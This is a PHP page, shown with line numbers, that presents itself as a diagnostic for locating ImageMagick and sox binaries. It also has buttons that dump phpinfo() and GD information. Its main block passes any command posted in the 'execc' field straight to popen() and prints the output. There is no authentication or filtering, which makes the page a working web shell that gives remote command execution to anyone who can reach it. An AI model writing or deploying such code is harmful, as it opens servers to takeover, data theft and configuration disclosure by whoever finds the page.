| 1 | <?php |
|---|
| 2 | |
|---|
| 3 | if (strlen($_POST[phpinfo])) |
|---|
| 4 | { |
|---|
| 5 | phpinfo(); |
|---|
| 6 | } |
|---|
| 7 | |
|---|
| 8 | if (strlen($_POST[gdinfo])) |
|---|
| 9 | { |
|---|
| 10 | gd_info(); |
|---|
| 11 | } |
|---|
| 12 | |
|---|
| 13 | |
|---|
| 14 | if (strlen($_POST[execc])) |
|---|
| 15 | { |
|---|
| 16 | $execc = $_POST[execc]; |
|---|
| 17 | echo "<b>executing: $execc </b><br>"; |
|---|
| 18 | $exec_name = split(" ",$execc); |
|---|
| 19 | $exec_name = $exec_name[0]; |
|---|
| 20 | echo "<b>exist: ".file_exists($exec_name)." </b><br><br>"; |
|---|
| 21 | |
|---|
| 22 | $fp = popen ( $execc, "r"); |
|---|
| 23 | if ( $fp ) { |
|---|
| 24 | |
|---|
| 25 | echo "<pre>"; |
|---|
| 26 | while(!feof($fp)) { |
|---|
| 27 | echo fgets($fp, 1024); |
|---|
| 28 | } |
|---|
| 29 | echo "</pre>"; |
|---|
| 30 | //fclose($fp); |
|---|
| 31 | |
|---|
| 32 | } |
|---|
| 33 | } |
|---|
| 34 | |
|---|
| 35 | ?> |
|---|
| 36 | <center> |
|---|
| 37 | <hr> |
|---|
| 38 | |
|---|
| 39 | <SCRIPT language="JavaScript"> |
|---|
| 40 | |
|---|
| 41 | function setVal ( name, val ) |
|---|
| 42 | { |
|---|
| 43 | fform.elements[name].value = val; |
|---|
| 44 | } |
|---|
| 45 | |
|---|
| 46 | |
|---|
| 47 | </SCRIPT> |
|---|
| 48 | |
|---|
| 49 | |
|---|
| 50 | <form method=post name=fform> |
|---|
| 51 | <input id=execc name=execc> <br> |
|---|
| 52 | [<a href="javascript:void(0)" |
|---|
| 53 | onClick="javascript:setVal('execc','/usr/bin/mogrify')">/usr/bin/mogrify</a>] | |
|---|
| 54 | [<a href="javascript:void(0)" |
|---|
| 55 | onClick="javascript:setVal('execc','/usr/local/bin/mogrify')">/usr/local/bin/mogrify </a>] | |
|---|
| 56 | [<a href="javascript:void(0)" |
|---|
| 57 | onClick="javascript:setVal('execc','/usr/X11R6/bin/mogrify')">/usr/X11R6/bin/mogrify </a>] | |
|---|
| 58 | [<a href="javascript:void(0)" |
|---|
| 59 | onClick="javascript:setVal('execc','/usr/local/X11R6/bin/mogrify')">/usr/local/X11R6/bin/mogrify</a>] <br> |
|---|
| 60 | [<a href="javascript:void(0)" |
|---|
| 61 | onClick="javascript:setVal('execc','/usr/bin/convert')">/usr/bin/convert</a>] | |
|---|
| 62 | [<a href="javascript:void(0)" |
|---|
| 63 | onClick="javascript:setVal('execc','/usr/local/bin/convert')">/usr/local/bin/convert</a>] | |
|---|
| 64 | [<a href="javascript:void(0)" |
|---|
| 65 | onClick="javascript:setVal('execc','/usr/X11R6/bin/convert')">/usr/X11R6/bin/convert</a>] | |
|---|
| 66 | [<a href="javascript:void(0)" |
|---|
| 67 | onClick="javascript:setVal('execc','/usr/local/X11R6/bin/convert')">/usr/local/X11R6/bin/convert</a>] <br> |
|---|
| 68 | [<a href="javascript:void(0)" |
|---|
| 69 | onClick="javascript:setVal('execc','/usr/bin/sox')"> /usr/bin/sox</a>] | |
|---|
| 70 | [<a href="javascript:void(0)" |
|---|
| 71 | onClick="javascript:setVal('execc','/usr/local/bin/sox')"> /usr/local/bin/sox</a>] |
|---|
| 72 | <br><br> |
|---|
| 73 | <input type=submit value=Enter> |
|---|
| 74 | </form> |
|---|
| 75 | <form method=post> |
|---|
| 76 | <input type=submit name=phpinfo value="PHP Info"> |
|---|
| 77 | </form> |
|---|
| 78 | <form method=post> |
|---|
| 79 | <input type=submit name=gdinfo value="GD Info"> |
|---|
| 80 | </form> |
|---|
| 81 | |
|---|
| 82 | <center> |
|---|